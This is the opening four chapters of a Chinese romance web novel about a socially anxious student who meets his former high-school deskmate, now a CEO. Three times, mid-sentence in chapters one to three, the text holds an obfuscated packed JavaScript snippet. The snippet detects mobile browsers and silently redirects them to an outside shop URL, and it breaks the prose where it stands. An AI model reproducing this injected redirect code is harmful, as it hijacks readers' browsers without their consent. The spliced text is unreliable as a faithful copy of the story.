《那你亲我一下》 1. CH.01 又做了同样的梦。 彻底清醒后,所有的感觉如潮水般退去,只有漫无边际的潮湿和昏暗,和一个人的声音,如同鬼魅般如影随形。 林斯年揉了揉脸颊,也许是在梦里他无意识咬了很久的牙,腮帮子又酸又痛。 他们宿舍挨着操场,隔音并不好,能听到有很多人的欢笑声。这个学期才刚刚开学,毕业生却迫不及待拍起了毕业照。 他仔细听了听动静,室友应该都出去了,这才松了口气,拿起枕边的手机,点亮屏幕。 二零二六年三月十二日,周四。 10:44 他的毕业设计沿用了之前做的大创项目,所以不像室友那样紧迫,只需要完成毕业论文就好。 大创项目是他大三的时候,母亲问清楚熟悉的老师,给他强硬塞进去的,为了让他多跟人接触,不要天天宅在宿舍的床帘里。 刚想到母亲,对方的电话就打了过来。 “吃饭了吗,年年?”林婉清问。 “还没。”也许是心有余悸,林斯年的声音在电话里显得尤为沙哑。 “刚起床吗?”林婉清又问。 “嗯。” “妈妈给你打电话,就是提醒一下你,今天极溯要在你们学校开专场招聘会,今天下午四点半。”林婉清说。 “我……” 他拒绝的话还没说完,就被林婉清恳切的声音打断:“我们上次说好的,对不对?听妈妈的话,起床洗漱完,去吃个饭,然后休整一下,四点半的时候准时去现场可以吗?” “好。”林斯年微不可查叹了口气,他不会拒绝别人,尤其对面还是他的母亲。 打电话的目的已经达到,林婉清这才有余力思考林斯年声音的不对劲:“又做噩梦了吗?年年。” 最近这段时间,也许是因为林斯年即将毕业,她逼得太狠,她儿子开始频繁做起了噩梦,起初只是情绪低落,后面逐渐变得怕和人交流。 好像回到了最开始,他被确诊重度社交焦虑障碍的时候。 但是身为他的母亲,她从一开始就知道,他不可能一直被她护在羽翼下,她必须得做点什么。 “嗯,但是我还好。”林斯年说。 “不知道是不是你寒假回来的时候,我带你回外婆家,天又黑,下的雪又大,让你吓着了。早知道去学校之前就带你去庙里拜拜。” 林婉清半是猜测地自言自语。 林斯年没有解释他做的梦其实不是噩梦,做梦也不是被吓着了。 “唉,我这人,说了不要迷信不要迷信,老是忍不住往这里想。不过,这样下去也不是个事儿,要不你再去你赵叔叔那里看看?专业的事情还是交给专业的人。” 林婉清口中的赵叔叔,全名叫赵伟,是林斯年继父的朋友,也是一个心理医生。在得知他患有重度社恐后,继父带着他去看过很多次。 赵伟很有职业操守,从来不会将两人的聊天内容泄露出去,逐渐地,林斯年也会和他说些自己的真实感受。 和林婉清挂断电话后,林斯年在床上又躺了一会儿才起床。他慢吞吞地穿好衣服,洗脸刷牙,看了看天气,深呼吸好几次才决心出门,又反复检查了自己的帽子和口罩。 一出门,被阳光包裹,远远望过去,都是欢闹着的毕业生。 尽管早有准备,他还是瞬间心脏骤停,感觉自己变成了聚光灯下一颗剥了皮的毛桃。 光是在外面摘口罩吃饭这件事,仿佛用光了他所有力气。 吃完饭,时间还早,他又想起了那个梦,又想起了林婉清的话。他有个室友每天都会午休,这会儿回去应该刚好撞上,想到这个,他呼吸不畅,深深吸了一口气,又缓缓地吐出来。 在餐馆坐了十分钟,有几个客人进来,手机上的打车软件显示还有一分钟,林斯年往上提口罩,出了门。 十几分钟后,林斯年来到了赵伟所在的心理咨询诊所。林婉清提前打过招呼,不需要预约,赵伟带着他来到一个布置简约却很温馨的房间,之前的心理咨询也是在这个房间。 “帕罗西汀还在规律地吃吗?”赵伟问。 “在吃。”林斯年点头。 “那就好,来,坐下吧。我听你妈妈说了,最近开始做噩梦了,是吗?”赵伟又问。 “……嗯。”林斯年有点迟疑。 赵伟温柔注视着他的的眼睛,对方并不配合,避开视线,帽檐和口罩将脸全部遮住。 “你想说,不是吗?”赵伟问。 良久,林斯年才顺着说:“不是噩梦。” 当别人提问时,说出否认的答案,对林斯年也是不小的挑战。 “那它具体是什么样的梦?”赵伟边问边把一条毛毯放到他的腿上,“你可以闭上眼睛,回想一下,随便用什么词语来描述。” 身体的一部分藏在了毛毯下,这让林斯年稍微松了口气,他躺在椅子上闭上眼睛,在赵伟的指引下陷入了回忆。 那是一个夏天的午后,没有太阳,潮湿水汽浓郁到让空气凝固,热,昏暗。 “那是我17岁的时候……” 梦里,所有的感官都像是被笼罩了一层纱,什么都看不真切,什么都听不明白。他走在地上,每走一步都陷入沼泽般,空间扭曲。 “一切都灰蒙蒙的,我好像被困住了,我走了很久也逃不出来……” 脚步声由远及近,他仓皇逃窜,避无可避。紧闭双眼,心跳骤停的瞬间,有飓风呼啸而过。 “然后,我睁开了眼睛……” 站在他面前的,是同一个人。这人眼里的晦暗仿佛织出一座密不透风的牢笼,将他钉在原地。 “他一定很讨厌我,做梦都不放过我。” …… 听完了他的叙述,赵伟抓住重点:“所以你总是会梦到同一个人,他是你认识的人吗?” 林斯年点头:“是我的高中同桌。” 他高二的时候,母亲改嫁,他跟随母亲转学到垂城的一所公立高中。梦里的人,就是他转到学校后的同桌。 “你还记得他的名字吗?” “记得,他叫言珩。” 赵伟扶了一下眼镜,语气变得认真:“他曾经对你做过不好的事情吗?” 要是因为被霸凌,在心里留下阴影,多年后梦到施暴者,也是很有可能的。但如果是这样的话,他就要重新评估一下病人的心理状态了。 林斯年想了想:“没有。” “这是你第几次做同样的梦?” “第十九次。” “每一次都完全相同吗?” “对,每一次都一样。”林斯年说,“每一次他都像那年夏天一样,对我说同一句话。” 他没有说,他记得那句话。是十七岁的言珩咬牙切齿对他说:我们以后也不要做朋友了。 “那句话对你来说,很重要吗?或者,你对此耿耿于怀?”赵伟问。 “我不知道。” “那梦里的那个人,用你心里认为最精准的词语去描述他,你会怎么形容?” 林斯年缓了口气:“他讨厌我。” 又听到了讨厌这两个字,赵伟敏锐地抓住了这一点,追问:“那你呢?你也讨厌他吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374862|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “讨厌吗?”林斯年迟疑,“……不。” “你是从什么时候开始做这个梦的?”赵伟换了个角度发问。 “寒假,在家里我翻出了一枚硬币。”这个问题并不让林斯年过多思考,所以他回答得很详细。 “这个硬币是关于他的吗?” “是。” “如果你再次见到他,你有什么一定要对他说的话吗?”赵伟想搞清楚林斯年为什么会对这个人有这么深的执念,尽管病人自己还没有意识到。 这个问题让林斯年陷入了长久的沉思,他一遍又一遍地回忆,试图从记忆里找出答案。但是焦虑和药物让这个行为变得异常困难。 最后他突然抓住了一丝灵光。 “不对,这一次的梦,不一样——” “哪里不一样?”赵伟连忙问下去。 “他说的话,他说完那句话后的表情,我猜他当年还有话没有说完。”林斯年眉头陡然皱紧,回答赵伟的上一个问题,“我想知道,他后面要说什么。” 又问了一些话,得到足够的信息,把林斯年送出诊所,赵伟说:“一会儿我给你妈妈打个电话,让她放心,只要按时吃药,不是什么很大的问题。可惜那个人消失了,不然,你能联系到他,把话问出口就好了。” Z大的主校区群位于Z市的市中心,有东中西三个校区。极溯的招聘专场在东区二教举行,林斯年住在西区,听完报告把简历交上去,回去的路上,会路过一条路,叫红专路,路的旁边有一棵玉兰树。 三月多,玉兰树开得正好,白得透亮的玉兰花瓣落了一地,旁边围着很多拍照的人。 林斯年不动声色地远离了一些。 穿着黑色三粒单排扣西装的男人被簇拥在中间靠前的位置,举起手机正在拍花。旁边是几个学生和一个老师。 “每年这个时候,玉兰花都开得正好,言总这次回国,以后能常来看。” 和极溯新上任的CEO谈成了合作,课题组又一涌进了一笔资金,程导开心,说话也轻快。 男人点头说是,视线却没有从手机上挪开。 “那好,预祝我们合作愉快,让我的学生这几天带您参观一下我们的实验室,顺便在Z市周边景点逛逛。”程导说。 他说完,却得到了手底下几个研究生都没空的答复,只好想起了带着做毕设的一个本科生。 “正好他今年大四,论文写得也差不多了,凌音你有他的电话吧,我记得你俩关系不错,他偶尔还会给你的服装店兼职当模特呢。” “我有。”许凌音拿出手机。 刚才眼里只有玉兰花的男人,不知道什么时候也收了手机,转过身,目光沉沉。 许凌音颇有压力地翻出通讯录。 Strumming my pain with his fingers, Singing my life with his words, Killing me softly with his song, …… 铃声响起,林斯年掏出手机,看到上面是许凌音的备注,才犹豫着接起电话。 “学弟在忙吗?”许凌音问。 “不是很忙,学姐。” 电话里的声音和外界的声音重合,林斯年手机贴在耳边,转身看过去,他先是看到熟悉的学长学姐和导师,而后看到了一个西装笔挺的男人,在看到脸的瞬间—— 他愣住了。 两人隔着零星几个路人短暂对视。 林斯年无声开口:言珩。 2. CH.02 言珩是在高三上学期突然消失的,社交账号全部联系不到,所有人都不知道他去了哪里。 成年后的他身量变得宽广,似乎规律健身过一段时间,他的高个子不再像小时候那样突兀,挺阔的西装包裹矫健的好身材。脸还是那张脸,深邃,浓墨重彩,不笑的时候显得很凶。 林斯年摸了摸口罩,对方应该没认出自己,顶着导师和学长学姐的目光,头皮发麻,他装着小跑了几步过去。 “好巧,学弟你来招聘会投简历吗?”许凌音挂了电话,看向跑过来的男生。 她已经习惯了这个学弟的装扮,生怕自己任何一寸皮肤露在外面。秋冬天还好,夏天的时候几乎不见他出门。 只见他上身一件白色的薄羽绒服,下身一条同色休闲裤,脚上是一双高帮帆布鞋,帽子和口罩是黑色的,还有一条规整打好结的围巾将脖子遮住。 只能看到一双藏在帽檐下的眼睛。 “老师好,学姐好,学长好。”林斯年礼貌地打过招呼,又回答许凌音的问题,“对,我来看看。” “太好了,我们和极溯的总裁刚谈了新合作,有什么想了解的,或者想展示自己的,这可是一个好机会。”程导笑着说,看向旁边身姿挺拔的男人。 林斯年顺着程导的目光看过去。 言珩正注视着他。 意识到这件事,口罩下,他嘴唇嗫嚅,仿佛声音不是自己的:“好,谢谢老师。” 他高二转学到垂城,两人做了同桌,从最开始不熟,到他后知后觉发现,对方很讨厌他,再到高三失联,两人满打满算也才认识了不到一年的时间。 所以应该不会只靠一双眼睛认出他。 林斯年这样想着,打算随便说几句开溜。 “极溯这位新上任的总裁之前都在国外,最近刚回国,年少有为,你喊他言总就行。”程导说。 林斯年头皮焦灼:“言总好。” “我这个学生今年大四,本科期间,成绩一直都很好,做的大创也是我们相关的项目,可惜不打算读研了,要是言总那边有合适的岗位,也可以考虑一下我这位学生。” 程导出于导师的担当,本着对不读研的学生毕业去向负责的精神,极力推荐。 林斯年松了口气,导师没说他的名字。 他一口气还没松完,程导又想起什么似的,向言珩补充说:“他叫林斯年,您喊他小林就行。” 林斯年:“……” 他呼吸一窒。 世界上同名的人那么多。 “你好。”言珩伸出手。 看着自己面前那只宽大的手掌,林斯年短暂地陷入了回忆。 垂城是位于中国北方的一个小县城。他怕冷,每年的冬天都很难挨。 他转学去的那年冬天,有时候,他得抱着接了热水的杯子听课,但是水杯里的水冷得很快,往往没到下课就不管用了。 因为社恐严重,他和班里的同学并不熟,旁边还坐了一个据说家里很穷、脾气很差的孤僻男生。如果不是早上林婉清落了泪,那天他都不会出门。 “我都是为你好!”母亲哭着说。 长久的社交障碍让林斯年情感缺失,他并不能读出太复杂的情感,但是母亲爱他,他知道,所以不会忤逆。 他叹了口气,把杯子放回桌角,老师还在上面讲课,手上的温度很快退去,刺骨的冷。 然后,一只手握住了他放在腿上的手。 他转头看去,言珩正趴在座位上补觉,除了握住他的那只手,没有任何异样。 讲台上的物理老师正在讲题:“热量总是自发地从高温物体传递到低温物体,直至两者的温度达到平衡。” 时隔数年,仿佛有同样的触感,传递到林斯年的手背上,温暖而干燥。 这是他为数不多关于言珩好的记忆。 林斯年眨了一下眼睛,握住了那只手。对一个社恐人来说,在人群里表现得太过异类,也很恐怖。社交场合,他会尽量装作正常人。 “你叫林斯年?”言珩说。 “……嗯。” 程导听出了这问话的不同寻常:“言总,您是认识林斯年吗?” “嗯,我高中同桌也叫林斯年。”言珩好像笑了一下,并不明显。 “和我同名的人很多吧……我不记得我有高中同桌姓言。”林斯年不太会撒谎,干巴巴地说。 程导想着也是,怎么会那么巧,言珩刚回国就能碰上高中同桌,而且看林斯年的意思,应该是不认识对方的,不然谁跟言珩有了关系,会不说出来呢,人家可是这么有钱的大老板。 “也是,不过那也很巧了,能跟言总的高中同桌同名,挺有缘分的。”他笑着打圆场。 “是挺有缘分的。”言珩说。 他们没再追问下去,林斯年狂跳的心脏却平复不下来了一样,不确定对方有没有认出自己,他迫切想离开这个见鬼的尴尬场面。 就在这时,远远跑过来一个男生,人还没到声音先到了,大大咧咧的。 “林斯年我刚刚微信约你吃饭,你没看到吗?程老师也在呀,程老师好。” 离得近了,陈渡才看到一个在学生堆里格格不入的人,他站定,上下打量了这人好几遍,一脸不敢置信。 “哎……这不是言珩吗?林斯年,高二的时候他不是你同桌来着吗?我靠,男大十八变,和以前完全不一样了呀。现在这穿着打扮,人模狗样的……” 他话没说完,林斯年眼前一黑。 陈渡也意识到了周围奇怪的氛围,他的声音越来越小,最后自觉闭上了嘴巴。 他眼神示意林斯年,却看到对方闭上眼睛,一副不愿意交谈的模样。 虽然知道林斯年情感淡漠,除了焦虑,不会有太大的情绪起伏,但是这一刻,他莫名其妙从这个人身上读出几个大字:生死有命富贵在天。 陈渡和林斯年高中不同班,两人上了同一所大学后才逐渐熟悉。性格天翻地覆,陈渡有很多朋友,也爱出去玩,和林斯年认识之后,经常会强硬拉着他出去。到如今,如果说林斯年还有什么知心朋友,非陈渡莫属了。 听了陈渡的话,程导其实有些生气了,他没想到林斯年会撒谎,他知道这个孩子有心理障碍,平时也多有照顾,没想到正式场合也这样,说话的时候带了点埋冤。 “小林,既然认识言总,说什么玩笑话呢?把口罩摘了,好好跟言总叙个旧。” 陈渡知道自己坏事了:“老师他……” 程导又说:“整天戴着口罩也不是个事儿,我们不计较是因为大家都是老师同学的,在面对像言总这样的领导的时候,还是要多注意点礼貌的。” 这会儿正好是晚饭时间,路上的人不少,林斯年只能狠狠心,咬着唇要摘口罩。 言珩突然开口:“不用摘了,程导,就像您说的开玩笑,我们以前就爱开这种无伤大雅的玩笑。” 林斯年不自觉缓缓吐出口气。 “也到了吃晚饭的点了,我喊司机过来接我们去订好的地方吃饭吧。”言珩抬起手腕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374863|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈渡推了推林斯年的胳膊。 他用十分夸张的表情无声说:“表,那个表好几百万呢。” 怕别人发现,他说完就转了回去。 “我听你……”言珩看向陈渡,顿住。 “陈渡,我叫陈渡,我也是垂城二中毕业的,不过你俩当时都是二班的,我五班的。”陈渡连忙说。 “啊,我听你刚才说要去吃饭是吗?那我们一起吧。”言珩说。 程导有意让他们的合作更密切一点,听了言珩的提议,也说:“对,小陈、小林。我们晚饭一块去吃吧,正好我找小林还有点事。” 几个有事的研究生先离开了,最后定下来要一起吃饭的,有程导、许凌音、言珩、林斯年、陈渡和一个不太熟的学长,一共六个人。 很快,一辆黑色的商务车停到路边。 安排好座位后,陈渡把手机放到林斯年眼前,小声地说:“我靠,他以前家里不是很穷吗,穷得连饭都吃不起,家境不好到全校都出名,怎么摇身一变成大老板了?” 手机屏幕上是搜到的商务车简介。 雷克萨斯LM。 “我靠,以前不知道,现在能跪吗?求包养。我不想每天找工作了,你不知道那些猎头开的工资多离奇,好歹我们也是名校毕业的。” 陈渡在林斯年耳边絮絮叨叨。 “我靠靠靠,这个座椅好舒服,这辈子有这么一次也值了,我去,你摸摸,还有加热呢!” “早知道有这么一天,当初就不那么埋头苦读书了,我天天跟着他后面,鞍前马后的,让我打东我决不往西,莫欺少年穷诚不欺我!” “哎对了,你跟他同桌,不说别的,你俩关系应该挺好的吧,你看着也不像是会和别人交恶的人。不然你跟他说一声,咱俩直接去他公司上班得了。” 对上陈渡灼灼的目光,林斯年摇摇头,在微信上给陈渡发了一条信息。 负熵:不。 耳东:? 负熵:我们关系不好。 耳东:啊? 负熵:他讨厌我。 商务车内的暖气开得很足,如陈渡说的,座椅的加热功能一点不掺水分,言珩在屏幕上又把温度调高了两度,饶是林斯年这种怕冷的,也热得背上出了一层薄薄的汗。 更别提别人,不过可能他们也为这商务车的豪华程度默默震惊,一时间,竟没人提出车内太热,需要散散气。 车里都是熟悉的人,旁边还坐着陈渡,林斯年没有纠结很久,把围巾摘了放在一边,想了想,把口罩也摘了。 他一摘口罩,前面坐着的许凌音立马转头:“早该摘口罩了,学弟,有任何一个人没看到你这张脸我都会哭的好吗?” 她前两年试着做了个网店,不过入行太迟了,如果不是有一次灵感乍现求着林斯年去做模特,估计早就倒闭了。 林斯年摸了摸自己的脸:“啊?” 他很少上网,空闲时间大多用来看书,所以不太能懂一些很新潮的话。而且流行风尚很快变化,在日常聊天中,他刚懂了上一批,往往下一批就出现了。 许凌音捂住心脏:“不要这样看我。” 陈渡也学着她:“不要这样看我。” 两个人都外向得有点过头了,林斯年时常觉得自己难以招架。 看到他更懵了,两人得逞相视一笑。 与此同时,林斯年的余光瞥到车载屏幕,在黑色的空隙,和一双在梦里出现过数次的眼睛对视上。 他状若无睹,看向窗外。 3. CH.03 聚餐地点在华玺厅,本市最大的酒店。 一下车,林斯年就把口罩戴上,等到了房间才又摘下来。 言珩落座主位后,程导坐在他旁边,又对林斯年说:“小林,你坐言总另一边吧,正好你们是高中同学,叙叙旧。” “……好。”林斯年点头。 他坐到言珩的旁边,座椅很大,两人的距离没有很近,但是这样的排位还是让他一阵恍惚。 上菜后,程导和言珩聊了一些合作的事情,他们插不上嘴,就只顾着吃。 手机震动,林斯年不动声色地点开。 是许凌音新拉的一个群,群名还没改,除了程导和言珩,在场的都在里面了。 她发了第一条信息。 凌音不伶仃:@负熵@耳东,上面坐的那个言总真是你俩高中同学? 旁边的陈渡也看到了消息,他放下筷子,瞥了眼主位上言珩和程导正相谈甚欢,拿起手机,放在桌子下打字。 耳东:对。 凌音不伶仃:那他应该也才二十出头吧,完全不像这个年纪的人。 耳东:他长得显老? 凌音不伶仃:不是,是气质,很老钱。 耳东:哈[钻戒]哈[飞机]哈[邮轮]哈[美金]哈[高尔夫]哈[沙滩]哈[黑卡]哈。 凌音不伶仃:…… 凌音不伶仃:牛逼,话说你们高中同学,他还这么厉害,后来就没有交集了吗?要是我,大腿早就抱上了。 耳东:说真的,我俩比你还震惊。 他没说他震惊的地方在于,高中时候的言珩穷得人尽皆知,现在居然变得又有钱又有权。不过他当然不会傻到去揭人家短。 凌音不伶仃:能和他攀上关系,以后找工作多方便呀。 耳东:唉,我和他高中就没说过话,林斯年虽然跟他做过同桌,关系也不咋地。 凌音不伶仃:@负熵,真假? 林斯年:嗯,他讨厌我。 程导和言珩聊完了一轮,几个心怀鬼胎偷偷吐槽的人忙放下手机,装模作样地吃饭。 言珩和程导都喝了点酒。程导酒量不好,这会儿脸已经红了,稍微放开了点儿,挨个问询学生的科研进度。 陈渡悄声说:“又开始阎王点卯了。” 问完别人,程导说:“小林我就不问了,论文初稿写得很好,本科生毕业要求不高,稍微改改措辞就可以了。” “好,谢谢老师。”林斯年说。 “还有就是,这段时间,小林你应该不忙,所以想让你带着言总参观一下我们实验室,带着在周边玩一玩,你看可以吗?”程导问。 “啊?”林斯年刚想拒绝,“我……” 言珩抿了一口茶水,突然问:“怎么?是因为谈恋爱了,所以没时间陪我吗?” “嗯?”林斯年懵了,“我没谈。” “我开个玩笑。” 毕竟年龄相仿,许凌音说话也大胆了些,一听言珩问这个,她就忍不住吐槽。 “哎呦,言总你不知道,从他刚升学,我认识他到现在,他几乎都不和人交流的,至今都没见他跟哪个女生聊过天,不知道的还以为他喜欢男生呢。” “喜欢男生?”言珩重复最后几个字。 2026年了,同性恋已经不像以前谈之色变,但到底是少数。言珩发问,也许是好奇。 “我……不喜欢男生。”林斯年垂下眼睫。 “这样啊。”言珩又喝了一口水。 “嗯。”林斯年说。 “话说,你们在大学校园里,应该很容易谈到恋爱吧?”言珩这句是问在场的全部学生。 一说到这个,大家都支棱起来了,谈恋爱的说自己的恋爱故事,不谈恋爱的说自己的暗恋对象或者追星对象。 程导突然警觉,酒精让他的大脑发蒙,仅存的理智却让他斜眼瞥了一眼光华内敛的年轻总裁。 为什么要刻意把话题往这个方面引? 等等,虽然言珩身处高位,但是他也不过二十出头,正好和他手底下这几个学生差不多大,正是冲动上头的时候…… 也就是说,他看上在场的某个人了? 程导狐疑地看过所有人的脸,最后定格在唯一的女生身上。 他来回看了看言珩和许凌音,两人正在交流许凌音追的爱豆,许凌音夸夸其谈,言珩托着下巴认真在听。 想到了某种可能,程导倒吸一口冷气。 办公室恋情绝对禁止!他不得不考虑后果,要是真谈上了,身份不匹配,两人分手,他们的合作还能好好的吗?! 程导惊疑不定,当即拍板决定:“就这样吧,小林。最近几天你给言总当导游,就当公费旅游了。你妈妈也希望你多出去跟人接触。” 明明是问句,却不容置喙。 “好。”林斯年头皮发紧。 “吃饭吃饭。”程导招呼大家。 不得不说,高端酒店的菜又好看又好吃,本来打算减肥的许凌音也敞开了吃。 服务员边上菜边介绍:“这道菜叫春江水暖,取自春江水暖鸭先知,清波锁鲜,鲟鱼和鸭肉的取材是我们本地的农户。这道菜叫金汤碧玉……” 林斯年夹了一块金汤碧玉里面的西兰花,却突然被言珩握了一下手腕阻止。 他扭头,看向对方。 “里面掺了海参。”解释完,言珩很快松了手,像是随口一说。 陈渡反应过来:“你不是海鲜过敏吗?” 林斯年眨了一下眼睛,点点头,把西兰花放到碟子的一角。 许凌音被噎到了,猛地一阵咳嗽。 旁边的男研究生忙给她递了杯水。 本来应该在旁边候着的服务员,早在进门的时候就让离开了。 言珩给林斯年见空的杯子添了点水。 许凌音又是一阵咳嗽,脸都憋红了。 林斯年毫无所觉,他平时的胃口总是不好,今天难得想吃很多东西,他吃得慢条斯理,但是速度却不低。 夹了一块鱼肉送入嘴里,有点辣,他忍不住咳了一下。 旁边的言珩马上顺了顺他的背。 林斯年点头示意:“谢谢。” 言珩把杯子放到他手中:“不客气。” 许凌音抹了一把脸,在手机上打字。 凌音不伶仃:不儿,他真的讨厌你吗? 凌音不伶仃:@负熵??? 耳东:不儿,他真的讨厌你吗? 耳东:@负熵??? 手机将林斯年的脸微微照亮,他搜寻记忆,想到高中那些不痛快的事情,摸了摸胸口,里面像缺了点东西似的。 负熵:真的。 凌音不伶仃:@负熵,我不信。 耳东:@负熵,我也不信。 一顿饭吃完,时间还早,言珩说想去本地的地标性景点碧鳞江看看。程导明早还要出差,带着几个同学先回了。 场上只剩下林斯年和言珩。 一时间,两人都没有先说话,林斯年想了想,拿出手机:“我跟家里说一声,今晚不回学校,我们去完碧鳞江,我回家住一晚吧。” 言珩点头:好。” 林斯年的母亲还没改嫁的时候,他就是在Z市长大的。后来林婉清嫁去了垂城,他在垂城读了两年高中。高考考上了Z大,又举家搬迁过来,买的房子离学校不远。 他在微信上跟林婉清说了一声。 很快,林婉清的电话就打了过来。强迫他用电话交流,在母亲看来,也是一种脱敏行为。 “年年,在学校住不好吗?”林婉清问。 “回去太晚了,我想回家住一晚。” “妈妈不太想让你回来,你在学校住,有老师有同学。你回来住一晚,妈妈知道,你明天就不想出去了。” “我……” “年年?” “……” 过了一会儿,林婉清还是没有松口,转而问起了别的事情:“今天的招聘怎么样啊?投简历了吗?” “投了。” “那就好。” 又是一阵沉默,坐在旁边的言珩表情示意林斯年把手机递给他。 接起电话,言珩说:“喂,您好,是林斯年的母亲是吗?” “对,我是他的母亲。您是?” “我最近和年年他们课题组有合作,所以他导师让他带着我,最近几天参观参观实验室什么的。今晚他晚回去一点,可能怕吵到室友吧……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374864|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他一说,林婉清就懂了。 “哎哎哎,好,领导你好,这孩子,也不说清楚一点,我以为,他又想找借口回家躲着呢。这事儿闹的,哎行,一会儿让他自己回家就行。” 挂断电话后,林斯年默默叹了口气,有些泄气地想,他果然做不好很多事情。 言珩拍了拍他的肩膀:“走吧。” 车内,林斯年也说不清楚自己什么感受,再次和讨厌自己的人单独处在同一空间,这本来应该是让他无比焦灼的一件事。但事实好像并非如此,言珩没有为难他。 两人坐在同一排,林斯年拿着手机,他平时基本不刷小视频,这会儿却机械般往下滑。 良久,言珩问:“最近过得还好吗?” 林斯年:“还、还好吧。” “你高中的时候想考的就是Z大吧,现在都快毕业了,也算得尝所愿了。”言珩说。 “嗯、嗯,是吧。” 他结结巴巴的,言珩撑着膝盖,突然探头,神情很认真地看向林斯年:“嗯?你在怕我吗?” “我……” 太紧张了,林斯年手指按在音量键上,声音持续拔高,松手的时候,又不小心点进去陈渡给他分享的一个视频。 “……开劳斯莱斯的不一定有钱,但是坐丰田天花板,雷克萨斯LM的,一定是你惹不起的人物。” 可能是平台特色,一辆车的介绍视频,用词极其夸张,配音极具感染力,巴不得所有听到这个视频的人立马激情下单。 惹不起的人物·言珩眉心狠狠跳动。 林斯年反应过来,划了后台。 其实不管是以前还是现在,身份是穷小子还是大老板,都没什么区别,讨厌就是讨厌,不会变。只不过现在对方变得“惹不起”了。 于是他点头:“是。” 言珩:“嗯?” 林斯年:“怕你。” 言珩扯了扯嘴角:“所以,跟老同学见面,说没有姓言的同桌,你是真的把我忘了吗? 林斯年:“嗯,忘了。” 言珩意味不明:“贵人多忘事。” 林斯年:“谢谢。” 还真以为“贵人”是夸你呢? 言珩:“……” 早春时分,南方的天热得很早,花也开得早,这会儿的碧鳞江边有很多游客。喧闹,却有淡淡的静谧气息萦绕周围。 言珩先下车,感受了一下外面的温度,等到林斯年下车的时候,他拿起围巾,正要给对方围上。可能车里太热,林斯年的衣领拉下去一点,有淡淡的反光落入言珩的眼中。 他下意识地拉出来那条项链。 是一条细细的银链。 挂着一枚穿了孔的一角硬币。 言珩突然就笑了:“嗯?” 然后,他妥帖把项链放回原位,拍了拍林斯年的胸脯,表示自己放好了,又把围巾围好。脸上的笑意没退下去:“忘了我?” 他掏出一支烟点上,靠着江边的围栏,风把灰色浑浊的烟雾撕裂成一条一条的。 林斯年转头去看对方的脸,不得不承认,穿了西装的言珩很有魅力,任谁都想象不出来这么意气风发的人高中居然是那个样子。 他低头:“忘了。” 骗子。 世界上的硬币太多了,但是言珩永远都不会忘记林斯年脖子上挂着的那枚。上面的孔是他花了一个晚自习钻的,硬币的面上还刻了他名字的缩写。 ——YH 两人靠着围栏,柔软的风拂过脸颊。过了很久很久,林斯年突然问出声:“我们最后一次见面,你当初想说的,就只是,我们不要做朋友了,没有别的话了吗?” “有啊。”言珩漫不经心地说。 “是什么?”林斯年歪头。 言珩吐出烟,也转头看向他。林斯年的心跳得很快,他想,自己的社恐还是太严重了,哪怕和熟人待在一块,也很容易紧张。 头顶的圆月、高矮不一的建筑、路灯、白玉兰的花树、游客、一个背靠栏杆一个面对栏杆的两人…… 全部倒映在波光粼粼的水面。 林斯年看见言珩笑着说话。 “那你亲我一下。” “亲我一下,我就告诉你。” 4. CH.04 亲吻,在林斯年的眼里是什么呢? 恋人之间的接吻、小时候母亲落在额头的吻、因为爱怜对宠物的亲吻……都逃不过一个爱字。 人们惯于用亲吻表达爱意,是因为唇部有很多感觉神经,能够感知到对方的很多情绪,而爱就是要不断地证明对方的存在。 应该是这样的吧。 现在,言珩突然对他索吻,在林斯年的逻辑里是行不通的,他认为,爱和讨厌是矛盾的对立方。 他不明白一个讨厌自己的人,为什么会提出用一个吻来交换一个答案。 尽管那个答案他真的很好奇。 等等! 他脑子里突然闪过一丝灵光。 他想起晚饭,许凌音问他是不是喜欢男生,他下意识回答不是。所以,如果是这样的话,一切都能说得通了。 因为他不喜欢男生,在言珩的眼里,他也一定不喜欢和男生有任何亲密接触。所以言珩讨厌他,亲一下就是对他实行的报复手段! 这人真的太小心眼了…… 林斯年瞥了言珩一眼,忍不住腹诽。 还好他并不在意区区一个吻,不然要是他真的很在意这个事情,那亲对方一下,岂不是真让他难受好几天? 想到这里,他叹了口气,用无比同情的眼神瞅了言珩好几次,这人好笨。 言珩当然不知道林斯年心里在想什么。面对林斯年的时候一再忍耐,但可能氛围太好,他根本忍不住将心里话说出口。 一说出来,他就后悔了。 太过鲁莽了。 林斯年用奇怪的表情看着他,言珩心里无声嘲笑自己,还是太无耻、太自以为是了。 他正要解释自己只是开个玩笑,突然感觉脸上一软,有什么很轻的东西落下,一触即离。 言珩:“……”啊? 